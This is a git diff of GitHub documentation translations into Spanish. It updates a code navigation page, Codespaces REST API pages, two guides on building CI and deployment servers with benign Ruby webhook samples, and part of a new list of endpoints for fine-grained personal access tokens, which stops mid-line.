Basada en búsquedas: busca todas las definiciones y referencias a lo largo de un repositorio para encontrar las entidades con un nombre específico. - - Precisa: resuelve las definiciones y referencias con base en el conjunto de clases, funciones y definiciones importadas en algún punto específico de tu código +{% data variables.product.prodname_dotcom %} has developed two code navigation approaches based on the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) and [`stack-graphs`](https://github.com/github/stack-graphs) library: + - Search-based - searches all definitions and references across a repository to find entities with a given name + - Precise - resolves definitions and references based on the set of classes, functions, and imported definitions at a given point in your code -Para obtener más información sobre estos enfoques, consulta "[Navegación precisa y basada en búsqueda](#precise-and-search-based-navigation)". +To learn more about these approaches, see "[Precise and search-based navigation](#precise-and-search-based-navigation)." -Las futuras versiones agregarán la *navegación de código precisa* para más lenguajes, lo cual es un acercamiento de navegación de código que puede otorgar resultados más precisos. +Future releases will add *precise code navigation* for more languages, which is a code navigation approach that can give more accurate results. -## Saltar a la definición de una función o método +## Jumping to the definition of a function or method -Puedes saltar a una definición de función o de método dentro del mismo repositorio si das clic en la llamada a dicha función o método dentro de un archivo. +You can jump to a function or method's definition within the same repository by clicking the function or method call in a file. -![Pestaña Jump-to-definition](/assets/images/help/repository/jump-to-definition-tab.png) +![Jump-to-definition tab](/assets/images/help/repository/jump-to-definition-tab.png) -## Buscar todas las referencias de una función o método +## Finding all references of a function or method -Puedes encontrar todas las referencias para una función o método dentro del mismo repositorio si haces clic en la función o la llamada de método de un archivo y posteriormente haces clic en la pestaña **Referencias**. +You can find all references for a function or method within the same repository by clicking the function or method call in a file, then clicking the **References** tab. -![Pestaña Find all references (Buscar todas las referencias)](/assets/images/help/repository/find-all-references-tab.png) +![Find all references tab](/assets/images/help/repository/find-all-references-tab.png) -## Navegación precisa y basada en búsqueda +## Precise and search-based navigation -Algunos idiomas admitidos por {% data variables.product.prodname_dotcom %} tienen acceso a la *navegación de código precisa*, que usa un algoritmo (basado en la biblioteca código abierto [`stack-graphs`](https://github.com/github/stack-graphs)) que resuelve definiciones y referencias basadas en el conjunto de clases, funciones y definiciones importadas visibles en cualquier punto determinado del código. Otros lenguajes utilizan la *navegación de código basada en búsquedas*, la cual busca todas las definiciones y referencias a lo largo de un repositorio para encontrar entidades con un nombre específico. Ambas estrategias son efectivas para encontrar resultados y ambas se aseguran de evitar resultados inadecuados, tales como los comentarios, pero la navegación de código precisa puede arrojar resultados más exactos, especialmente cuando un repositorio contiene métodos múltiples o funciones con el mismo nombre. +Certain languages supported by {% data variables.product.prodname_dotcom %} have access to *precise code navigation*, which uses an algorithm (based on the open source [`stack-graphs`](https://github.com/github/stack-graphs) library) that resolves definitions and references based on the set of classes, functions, and imported definitions that are visible at any given point in your code. Other languages use *search-based code navigation*, which searches all definitions and references across a repository to find entities with a given name. Both strategies are effective at finding results and both make sure to avoid inappropriate results such as comments, but precise code navigation can give more accurate results, especially when a repository contains multiple methods or functions with the same name. -Si no ves los resultados que esperas de una consulta de navegación de código precisa, puedes hacer clic en el enlace de "basada en búsqueda" en el mensaje emergente que se muestra para realizar una navegación basada en búsqueda. +If you don't see the results you expect from a precise code navigation query, you can click on the "search-based" link in the displayed popover to perform search-based navigation. -![Enlace de navegación de código basada en búsqueda](/assets/images/help/repository/search-based-code-navigation-link.png) +![Search-based code navigation link](/assets/images/help/repository/search-based-code-navigation-link.png) -Si tus resultados precisos te parecen inexactos, puedes enviar una solicitud de soporte. +If your precise results appear inaccurate, you can file a support request. -## Solución de problemas en la navegación de código +## Cross-repository precise code navigation -Si se habilitó la navegación de código pero no ves los enlaces a las definiciones de las funciones y métodos: -- La navegación de código solo funciona para las ramas activas. Sube a la rama e intenta de nuevo. -- La navegación de código funciona únicamente para los repositorios que tienen menos de 100,000 archivos. +Cross-repo code navigation is available for languages that are supported by precise code navigation and the dependency graph. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." With cross-repo code navigation, you can jump to the definition of functions or variables defined in dependencies imported by your project if that dependency is a repository hosted by {% data variables.product.prodname_dotcom %}. Cross-repo code navigation does not support find-all-references requests at this time. -## Información adicional -- "[Búsquedas en código](/github/searching-for-information-on-github/searching-code)" +![Screenshot of cross-repository code navigation](/assets/images/help/repository/cross-repository-code-navigation.png) + +## Troubleshooting code navigation + +If code navigation is enabled for you but you don't see links to the definitions of functions and methods: +- Code navigation only works for active branches. Push to the branch and try again. +- Code navigation only works for repositories with fewer than 100,000 files. + +## Further reading +- "[Searching code](/github/searching-for-information-on-github/searching-code)" diff --git a/translations/es-ES/content/rest/codespaces/index.md b/translations/es-ES/content/rest/codespaces/index.md index b8da36203e..8f13480995 100644 --- a/translations/es-ES/content/rest/codespaces/index.md +++ b/translations/es-ES/content/rest/codespaces/index.md @@ -1,7 +1,6 @@ --- title: Codespaces intro: 'La API de {% data variables.product.prodname_github_codespaces %} te permite administrar tus codespaces utilizando la API REST.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -17,11 +16,11 @@ children: - /secrets redirect_from: - /rest/reference/codespaces -ms.openlocfilehash: b830df4e746553c419dd33ffd9331a568af7b82a -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: c632b85d7e44e225a7dea2669a28a79a220f90a7 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147110582' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160346' --- diff --git a/translations/es-ES/content/rest/codespaces/organizations.md b/translations/es-ES/content/rest/codespaces/organizations.md index 25a2304990..6e9520b21a 100644 --- a/translations/es-ES/content/rest/codespaces/organizations.md +++ b/translations/es-ES/content/rest/codespaces/organizations.md @@ -9,15 +9,13 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 -ms.openlocfilehash: 923e7aaf3b53ceb5203d061b23e99749f270ef71 -ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.openlocfilehash: 0daf0d24f839c92d8eea6b221346b2df312071cf +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: '147080723' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159971' --- -{% data reusables.codespaces.codespaces-api-beta-note %} - ## Acerca de la API de organizaciones de Codespaces La API de organizaciones de {% data variables.product.prodname_codespaces %} te permite administrar los {% data variables.product.prodname_codespaces %} facturados a tu organización mediante la API REST. Esta API está disponible para los administradores autenticados de la organización y las aplicaciones de OAuth, pero no para las aplicaciones de GitHub Apps. Para más información, vea "[{% data variables.product.prodname_codespaces %}](/codespaces)". diff --git a/translations/es-ES/content/rest/guides/building-a-ci-server.md b/translations/es-ES/content/rest/guides/building-a-ci-server.md index 2bb9ae3ff5..0b94751042 100644 --- a/translations/es-ES/content/rest/guides/building-a-ci-server.md +++ b/translations/es-ES/content/rest/guides/building-a-ci-server.md @@ -1,6 +1,6 @@ --- -title: Building a CI server -intro: Build your own CI system using the Status API. +title: Crear un servidor de IC +intro: Crea tu propio sistema de IC utilizando la API de Estados. redirect_from: - /guides/building-a-ci-server - /v3/guides/building-a-ci-server @@ -11,43 +11,37 @@ versions: ghec: '*' topics: - API +ms.openlocfilehash: e8a22317562e209adca6cafa3fb8f1d55b1e04ee +ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/04/2022 +ms.locfileid: '148132951' --- +[Status API][status API] es responsable de combinar las confirmaciones con un servicio de pruebas, para que cada inserción que realice se pueda probar y se representar en una solicitud de incorporación de cambios de {% data variables.product.product_name %}. +Esta guía utilizará la API para demostrar una configuración que puedes utilizar. +En nuestro escenario, nosotros: +* Ejecutaremos nuestra suit de IC cuando se abra una Solicitud de Extracción (configuraremos el estado de IC como pendiente). +* Cuando finalice la IC, configuraremos el estado de la Solicitud de Extracción como corresponda. -The [Status API][status API] is responsible for tying together commits with -a testing service, so that every push you make can be tested and represented -in a {% data variables.product.product_name %} pull request. +Nuestro sistema de IC y nuestro servidor host serán imaginarios. Podrían ser Travis, Jenkins, o algo completamente distinto. El meollo de esta guía será configurar y ajustar el servidor que administra la comunicación. -This guide will use that API to demonstrate a setup that you can use. -In our scenario, we will: +Si todavía no lo has hecho, [descarga `ngrok`][ngrok] y aprende a [usarlo][using ngrok]. Consideramos que es una herramienta muy útil para exponer las aplicaciones locales a Internet. -* Run our CI suite when a Pull Request is opened (we'll set the CI status to pending). -* When the CI is finished, we'll set the Pull Request's status accordingly. +{% ifversion cli-webhook-forwarding %} {% note %} -Our CI system and host server will be figments of our imagination. They could be -Travis, Jenkins, or something else entirely. The crux of this guide will be setting up -and configuring the server managing the communication. +**Nota:** Como alternativa, puedes usar el reenvío de webhooks para configurar el entorno local para recibir webhooks. Para obtener más información, consulta "[Recepción de webhooks con la CLI de GitHub](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli)". -If you haven't already, [download `ngrok`][ngrok], and learn how -to [use it][using ngrok]. We find it to be a very useful tool for exposing local -applications to the internet. +{% endnote %} {% endif %} -{% ifversion cli-webhook-forwarding %} -{% note %} +Nota: Puede descargar el código fuente completo de este proyecto [desde el repositorio platform-samples][platform samples]. -**Note:** Alternatively, you can use webhook forwarding to set up your local environment to receive webhooks. For more information, see "[Receiving webhooks with the GitHub CLI](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli)." +## Escribir tu servidor -{% endnote %} -{% endif %} - -Note: you can download the complete source code for this project -[from the platform-samples repo][platform samples]. - -## Writing your server - -We'll write a quick Sinatra app to prove that our local connections are working. -Let's start with this: +Escribiremos una app de Sinatra rápidamente para probar que nuestras conexiones locales estén funcionando. +Comencemos con esto: ``` ruby require 'sinatra' @@ -59,29 +53,24 @@ post '/event_handler' do end ``` -(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].) +(Si no está familiarizado con el funcionamiento de Sinatra, le recomendamos [leer la guía de Sinatra][Sinatra]). -Start this server up. By default, Sinatra starts on port `4567`, so you'll want -to configure `ngrok` to start listening for that, too. +Inicia este servidor. De manera predeterminada, Sinatra comienza en el puerto `4567`, por lo que también tendrás que configurar `ngrok` para que empiece a escuchar en este puerto. -In order for this server to work, we'll need to set a repository up with a webhook. -The webhook should be configured to fire whenever a Pull Request is created, or merged. -Go ahead and create a repository you're comfortable playing around in. Might we -suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)? -After that, you'll create a new webhook in your repository, feeding it the URL -that `ngrok` gave you, and choosing `application/x-www-form-urlencoded` as the -content type: +Para que este servidor funcione, necesitaremos configurar un repositorio con un webhook. +El webhook debe configurarse para que se active cada que se crea o fusiona una Solicitud de Extracción. +Sigue adelante y crea un repositorio en el que quieras hacer tus experimentos. ¿Podríamos sugerir [el repositorio de cucharas y cuchillos de @octocat](https://github.com/octocat/Spoon-Knife)? +Después de esto, crearás un webhook en el repositorio, le suministrarás la dirección URL que te ha proporcionado `ngrok` y seleccionarás `application/x-www-form-urlencoded` como el tipo de contenido: -![A new ngrok URL](/assets/images/webhook_sample_url.png) +![Una URL de ngrok nueva](/assets/images/webhook_sample_url.png) -Click **Update webhook**. You should see a body response of `Well, it worked!`. -Great! Click on **Let me select individual events**, and select the following: +Haga clic en **Update Webhook**. Debería ver una respuesta del cuerpo de `Well, it worked!`. +Magnífico. Haga clic en **Let me select individual events** y seleccione lo siguiente: -* Status -* Pull Request +* Estado +* Solicitud de incorporación de cambios -These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action -occurs. Let's update our server to *just* handle the Pull Request scenario right now: +Estos son los eventos que {% data variables.product.product_name %} enviará al servidor cuando se produzca cualquier acción relevante. Ahora se actualizará el servidor para que *solo* controle el escenario de solicitud de incorporación de cambios: ``` ruby post '/event_handler' do @@ -102,26 +91,16 @@ helpers do end ``` -What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event` -HTTP header. We'll only care about the PR events for now. From there, we'll -take the payload of information, and return the title field. In an ideal scenario, -our server would be concerned with every time a pull request is updated, not just -when it's opened. That would make sure that every new push passes the CI tests. -But for this demo, we'll just worry about when it's opened. +¿Qué sucede? En cada evento que envía {% data variables.product.product_name %} se adjunta un encabezado HTTP `X-GitHub-Event`. Solo nos interesan los eventos de Solicitud de Extracción por el momento. Desde ahí, se tomará la carga de información y se devolverá el campo de título. En un escenario idóneo, al servidor le interesarían todas las actualizaciones de una solicitud de incorporación de cambios, no solo cuando se abra. Eso garantizaría que todas las cargas pasen la prueba de IC. +Pero para efectos de esta demostración, solo nos interesará cuándo se abren. -To test out this proof-of-concept, make some changes in a branch in your test -repository, and open a pull request. Your server should respond accordingly! +Para probar esta prueba de concepto, realice algunos cambios en una rama del repositorio de pruebas y abra una solicitud de incorporación de cambios. ¡Tu servidor deberá responder de acuerdo con los casos! -## Working with statuses +## Trabajar con los estados -With our server in place, we're ready to start our first requirement, which is -setting (and updating) CI statuses. Note that at any time you update your server, -you can click **Redeliver** to send the same payload. There's no need to make a -new pull request every time you make a change! +Después de implementar el servidor, ya se puede comenzar el primer requisito: configurar (y actualizar) los estados de CI. Tenga en cuenta que siempre que actualice el servidor, puede hacer clic en **Redeliver** para enviar la misma carga. No es necesario crear una solicitud de incorporación de cambios cada vez que realice un cambio. -Since we're interacting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll use [Octokit.rb][octokit.rb] -to manage our interactions. We'll configure that client with -[a {% data variables.product.pat_generic %}][access token]: +Como se interactúa con la API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, se usará [Octokit.rb][octokit.rb] para administrar las interacciones. Configuraremos ese cliente con [{% data variables.product.pat_generic %}][access token]: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -133,8 +112,7 @@ before do end ``` -After that, we'll just need to update the pull request on {% data variables.product.product_name %} to make clear -that we're processing on the CI: +Después, solo habrá que actualizar la solicitud de incorporación de cambios en {% data variables.product.product_name %} para dejar claro lo que se procesa en la CI: ``` ruby def process_pull_request(pull_request) @@ -143,16 +121,13 @@ def process_pull_request(pull_request) end ``` -We're doing three very basic things here: +Estamos haciendo tres cosas muy básicas aquí: -* we're looking up the full name of the repository -* we're looking up the last SHA of the pull request -* we're setting the status to "pending" +* buscando el nombre completo del repositorio +* buscando el último SHA de la solicitud de extracción +* configurando el estado como "pendiente" -That's it! From here, you can run whatever process you need to in order to execute -your test suite. Maybe you're going to pass off your code to Jenkins, or call -on another web service via its API, like [Travis][travis api]. After that, you'd -be sure to update the status once more. In our example, we'll just set it to `"success"`: +Eso es todo. A partir de ahora, puede ejecutar el proceso que necesite para ejecutar el conjunto de pruebas. Es posible que tenga que pasar el código a Jenkins, o bien llamar a otro servicio web mediante su API, como [Travis][travis api]. Después, asegúrese de actualizar el estado una vez más. En el ejemplo, simplemente se establecerá en `"success"`: ``` ruby def process_pull_request(pull_request) @@ -163,19 +138,18 @@ def process_pull_request(pull_request) end ``` -## Conclusion +## Conclusión -At GitHub, we've used a version of [Janky][janky] to manage our CI for years. -The basic flow is essentially the exact same as the server we've built above. -At GitHub, we: +En GitHub, se ha usado una versión de [Janky][janky] para administrar la CI durante años. +El flujo básico es esencial y exactamente el mismo que en el servidor que acabamos de crear. +En GitHub, nosotros: -* Fire to Jenkins when a pull request is created or updated (via Janky) -* Wait for a response on the state of the CI -* If the code is green, we merge the pull request +* Notificamos todo a Jenkins cuando se crea o actualiza una solicitud de extracción (a través de Janky) +* Esperamos una respuesta del estado de la IC +* Si el código tiene luz verde, lo fusionamos con la solicitud de extracción -All of this communication is funneled back to our chat rooms. You don't need to -build your own CI setup to use this example. -You can always rely on [GitHub integrations][integrations]. +Todas estas comunicaciones se canalizan de vuelta a nuestras salas de chat. No es necesario crear una configuración de CI propia para utilizar este ejemplo. +Siempre puede recurrir a las [integraciones de GitHub][integrations]. [deploy API]: /rest/reference/repos#deployments [status API]: /rest/reference/commits#commit-statuses diff --git a/translations/es-ES/content/rest/guides/delivering-deployments.md b/translations/es-ES/content/rest/guides/delivering-deployments.md index 48dab8b880..c530ab56da 100644 --- a/translations/es-ES/content/rest/guides/delivering-deployments.md +++ b/translations/es-ES/content/rest/guides/delivering-deployments.md @@ -1,6 +1,6 @@ --- -title: Delivering deployments -intro: 'Using the Deployments REST API, you can build custom tooling that interacts with your server and a third-party app.' +title: Entregar despliegues +intro: 'Al utilizar la API de REST de Despliegues, puedes crear herramientas personalizadas que interactúen con tu servidor y con una app de terceros.' redirect_from: - /guides/delivering-deployments - /guides/automating-deployments-to-integrators @@ -12,45 +12,38 @@ versions: ghec: '*' topics: - API +ms.openlocfilehash: 7ac423a27fe8b1c145efa3c135d88f08487f153a +ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/04/2022 +ms.locfileid: '148132991' --- - - +La [API de implementaciones][deploy API] proporciona a sus proyectos hospedados en {% data variables.product.product_name %} la capacidad de iniciarse en un servidor del que sea propietario. En combinación con la [API de estados][status API], podrá coordinar sus implementaciones en el momento en que el código llegue a la rama predeterminada. -The [Deployments API][deploy API] provides your projects hosted on {% data variables.product.product_name %} with -the capability to launch them on a server that you own. Combined with -[the Status API][status API], you'll be able to coordinate your deployments -the moment your code lands on the default branch. +Esta guía utilizará la API para demostrar una configuración que puedes utilizar. +En nuestro escenario, nosotros: -This guide will use that API to demonstrate a setup that you can use. -In our scenario, we will: +* Fusionamos una solicitud de cambios. +* Cuando finaliza la IC, configuramos el estado de la solicitud de extracción según corresponda. +* Cuando se fusiona la solicitud de extracción, ejecutamos nuestro despliegue en nuestro servidor. -* Merge a pull request. -* When the CI is finished, we'll set the pull request's status accordingly. -* When the pull request is merged, we'll run our deployment to our server. +Nuestro sistema de IC y nuestro servidor host serán imaginarios. Podrían ser Heroku, Amazon, o algo completamente diferente. El meollo de esta guía será configurar y ajustar el servidor que administra la comunicación. -Our CI system and host server will be figments of our imagination. They could be -Heroku, Amazon, or something else entirely. The crux of this guide will be setting up -and configuring the server managing the communication. +Si todavía no lo has hecho, asegúrate de [descargar `ngrok`][ngrok] y aprende a [usarlo][using ngrok]. Consideramos que es una herramienta muy útil para exponer las aplicaciones locales a Internet. -If you haven't already, be sure to [download `ngrok`][ngrok], and learn how -to [use it][using ngrok]. We find it to be a very useful tool for exposing local -applications to the internet. +{% ifversion cli-webhook-forwarding %} {% note %} -{% ifversion cli-webhook-forwarding %} -{% note %} +**Nota:** Como alternativa, puedes usar el reenvío de webhooks para configurar el entorno local para recibir webhooks. Para obtener más información, consulta "[Recepción de webhooks con la CLI de GitHub](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli)". -**Note:** Alternatively, you can use webhook forwarding to set up your local environment to receive webhooks. For more information, see "[Receiving webhooks with the GitHub CLI](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli)." +{% endnote %} {% endif %} -{% endnote %} -{% endif %} +Nota: Puede descargar el código fuente completo de este proyecto [desde el repositorio platform-samples][platform samples]. -Note: you can download the complete source code for this project -[from the platform-samples repo][platform samples]. +## Escribir tu servidor -## Writing your server - -We'll write a quick Sinatra app to prove that our local connections are working. -Let's start with this: +Escribiremos una app de Sinatra rápidamente para probar que nuestras conexiones locales estén funcionando. +Comencemos con esto: ``` ruby require 'sinatra' @@ -62,31 +55,25 @@ post '/event_handler' do end ``` -(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].) +(Si no está familiarizado con el funcionamiento de Sinatra, le recomendamos [leer la guía de Sinatra][Sinatra]). -Start this server up. By default, Sinatra starts on port `4567`, so you'll want -to configure `ngrok` to start listening for that, too. +Inicia este servidor. De manera predeterminada, Sinatra comienza en el puerto `4567`, por lo que también tendrás que configurar `ngrok` para que empiece a escuchar en este puerto. -In order for this server to work, we'll need to set a repository up with a webhook. -The webhook should be configured to fire whenever a pull request is created, or merged. -Go ahead and create a repository you're comfortable playing around in. Might we -suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)? -After that, you'll create a new webhook in your repository, feeding it the URL -that `ngrok` gave you, and choosing `application/x-www-form-urlencoded` as the -content type: +Para que este servidor funcione, necesitaremos configurar un repositorio con un webhook. +El webhook debe configurarse para que se active cada que se crea o fusiona una solicitud de extracción. +Sigue adelante y crea un repositorio en el que quieras hacer tus experimentos. ¿Podríamos sugerir [el repositorio de cucharas y cuchillos de @octocat](https://github.com/octocat/Spoon-Knife)? +Después de esto, crearás un webhook en el repositorio, le suministrarás la dirección URL que te ha proporcionado `ngrok` y seleccionarás `application/x-www-form-urlencoded` como el tipo de contenido: -![A new ngrok URL](/assets/images/webhook_sample_url.png) +![Una URL de ngrok nueva](/assets/images/webhook_sample_url.png) -Click **Update webhook**. You should see a body response of `Well, it worked!`. -Great! Click on **Let me select individual events.**, and select the following: +Haga clic en **Update Webhook**. Debería ver una respuesta del cuerpo de `Well, it worked!`. +Magnífico. Haga clic en **Let me select individual events** (Dejarme seleccionar eventos individuales) y seleccione lo siguiente: -* Deployment -* Deployment status -* Pull Request +* Implementación +* Estado de implementación +* Solicitud de incorporación de cambios -These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action -occurs. We'll configure our server to *just* handle when pull requests are merged -right now: +Estos son los eventos que {% data variables.product.product_name %} enviará al servidor cuando se produzca cualquier acción relevante. Ahora configuraremos nuestro servidor para que *solo* controle cuándo se fusionan las solicitudes de incorporación de cambios: ``` ruby post '/event_handler' do @@ -101,20 +88,15 @@ post '/event_handler' do end ``` -What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event` -HTTP header. We'll only care about the PR events for now. When a pull request is -merged (its state is `closed`, and `merged` is `true`), we'll kick off a deployment. +¿Qué sucede? En cada evento que envía {% data variables.product.product_name %} se adjunta un encabezado HTTP `X-GitHub-Event`. Solo nos interesan los eventos de Solicitud de Extracción por el momento. Al fusionar una solicitud de incorporación de cambios (su estado es `closed`, y `merged` es `true`), se iniciará una implementación. -To test out this proof-of-concept, make some changes in a branch in your test -repository, open a pull request, and merge it. Your server should respond accordingly! +Para probar esta prueba de concepto, realice algunos cambios en una rama del repositorio de pruebas, abra una solicitud de incorporación de cambios y fusiónlea mediante combinación. ¡Tu servidor deberá responder de acuerdo con los casos! -## Working with deployments +## Trabajar con despliegues -With our server in place, the code being reviewed, and our pull request -merged, we want our project to be deployed. +Ahora que ya tenemos nuestro servidor configurado, el código se está revisando y nuestras solicitudes de incorporación de cambios se han fusionado, queremos implementar nuestro proyecto. -We'll start by modifying our event listener to process pull requests when they're -merged, and start paying attention to deployments: +Comenzaremos modificando nuestro cliente de escucha de eventos para que procese las solicitudes de incorporación de cambios cuando estas se fusionen, y prestaremos atención a las implementaciones: ``` ruby when "pull_request" @@ -128,8 +110,7 @@ when "deployment_status" end ``` -Based on the information from the pull request, we'll start by filling out the -`start_deployment` method: +Basándonos en la información de la solicitud de incorporación de cambios, comenzaremos rellenando el método `start_deployment`: ``` ruby def start_deployment(pull_request) @@ -139,19 +120,13 @@ def start_deployment(pull_request) end ``` -Deployments can have some metadata attached to them, in the form of a `payload` -and a `description`. Although these values are optional, it's helpful to use -for logging and representing information. +Las implementaciones pueden tener algunos metadatos adjuntos en forma de `payload` y `description`. Aunque estos valores son opcionales, es de gran ayuda usarlos para registrar y representar la información. -When a new deployment is created, a completely separate event is triggered. That's -why we have a new `switch` case in the event handler for `deployment`. You can -use this information to be notified when a deployment has been triggered. +Cuando se crea un despliegue nuevo, se activa un evento completamente separado. Por eso tenemos un nuevo caso `switch` en el controlador de eventos para `deployment`. Puede usar esta información para que se le notifique cuando se desencadene una implementación. -Deployments can take a rather long time, so we'll want to listen for various events, -such as when the deployment was created, and what state it's in. +Las implementaciones pueden tardar mucho tiempo, por lo que queremos escuchar varios eventos, como cuándo se crea la implementación y en qué estado se encuentra. -Let's simulate a deployment that does some work, and notice the effect it has on -the output. First, let's complete our `process_deployment` method: +Vamos a simular una implementación que realiza algunas acciones y observaremos el efecto que tiene en la salida. En primer lugar, vamos a completar nuestro método `process_deployment`: ``` ruby def process_deployment @@ -165,7 +140,7 @@ def process_deployment end ``` -Finally, we'll simulate storing the status information as console output: +Por último, estimularemos el almacenamiento de la información de los estados como una salida de la consola: ``` ruby def update_deployment_status @@ -173,27 +148,21 @@ def update_deployment_status end ``` -Let's break down what's going on. A new deployment is created by `start_deployment`, -which triggers the `deployment` event. From there, we call `process_deployment` -to simulate work that's going on. During that processing, we also make a call to -`create_deployment_status`, which lets a receiver know what's going on, as we -switch the status to `pending`. +Bamos a explicar lo que está pasando. `start_deployment` crea una nueva implementación, la cual desencadena el evento `deployment`. Desde allí, llamamos a `process_deployment` para simular las acciones que están sucediendo. Durante ese procesamiento, también llamamos a `create_deployment_status`, que permite a un receptor saber lo que está ocurriendo mientras cambiamos el estado a `pending`. -After the deployment is finished, we set the status to `success`. +Una vez finalizada la implementación, establecemos el estado como `success`. -## Conclusion +## Conclusión -At GitHub, we've used a version of [Heaven][heaven] to manage -our deployments for years. A common flow is essentially the same as the -server we've built above: +En GitHub, hemos usado una versión de [Heaven][heaven] para administrar nuestras implementaciones durante años. Un flujo común es esencialmente el mismo que en el servidor que hemos creado anteriormente: -* Wait for a response on the state of the CI checks (success or failure) -* If the required checks succeed, merge the pull request -* Heaven takes the merged code, and deploys it to staging and production servers -* In the meantime, Heaven also notifies everyone about the build, via [Hubot][hubot] sitting in our chat rooms +* Espera obtener una respuesta con base en el estado de las verificaciones de IC (éxito o fallo) +* Si las verificaciones requeridas tienen éxito, fusiona la solicitud de cambios +* Heaven toma el código fusionado y lo despliega a los servidores de prueba y producción +* Mientras tanto, Heaven también notifica a todos sobre la compilación mediante el uso de [Hubot][hubot] en nuestras salas de chat. -That's it! You don't need to build your own deployment setup to use this example. -You can always rely on [GitHub integrations][integrations]. +Eso es todo. No necesitas crear tu propia configuración de despliegue para utilizar este ejemplo. +Siempre puede recurrir a las [integraciones de GitHub][integrations]. [deploy API]: /rest/reference/repos#deployments [status API]: /guides/building-a-ci-server diff --git a/translations/es-ES/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md b/translations/es-ES/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md new file mode 100644 index 0000000000..a1f0979ea1 --- /dev/null +++ b/translations/es-ES/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md @@ -0,0 +1,829 @@ +--- +title: Puntos de conexión disponibles para tokens de acceso personal específicos +intro: 'El {% data variables.product.pat_v2 %} puede realizar solicitudes a los puntos de conexión REST siguientes.' +versions: + feature: pat-v2 +shortTitle: '{% data variables.product.pat_v2_caps %}-enabled endpoints' +ms.openlocfilehash: 7e6b4506a1af51a3c8da5aa8ee905936025aa952 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107241' +--- +## actions + +- [`GET /repos/{owner}/{repo}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#list-github-actions-caches-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/actions/caches`](/rest/actions/cache#delete-github-actions-caches-for-a-repository-using-a-cache-key) +- [`DELETE /repos/{owner}/{repo}/actions/caches/{cache_id}`](/rest/actions/cache#delete-a-github-actions-cache-for-a-repository-using-a-cache-id) +- [`GET /repos/{owner}/{repo}/actions/secrets`](/rest/reference/actions#list-repository-secrets) +- [`GET /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#get-a-repository-secret) +- [`PUT /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#create-or-update-a-repository-secret) +- [`DELETE /repos/{owner}/{repo}/actions/secrets/{secret_name}`](/rest/reference/actions#delete-a-repository-secret) +- [`GET /repos/{owner}/{repo}/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) +- [`GET /repos/{owner}/{repo}/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) +- [`GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#get-an-artifact) +- [`DELETE /repos/{owner}/{repo}/actions/artifacts/{artifact_id}`](/rest/reference/actions#delete-an-artifact) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/artifacts`](/rest/reference/actions#list-workflow-run-artifacts) +- [`GET /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#get-pending-deployments-for-a-workflow-run) +- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#review-pending-deployments-for-a-workflow-run) +- [`GET /enterprises/{enterprise}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/permissions`](/rest/reference/actions#get-github-actions-permissions-for-an-enterprise) +- [`PUT /enterprises/{enterprise}/actions/permissions`](/rest/reference/actions#set-github-actions-permissions-for-an-enterprise) +- [`GET /enterprises/{enterprise}/actions/permissions/organizations`](/rest/reference/actions#list-selected-organizations-enabled-for-github-actions-in-an-enterprise) +- [`PUT 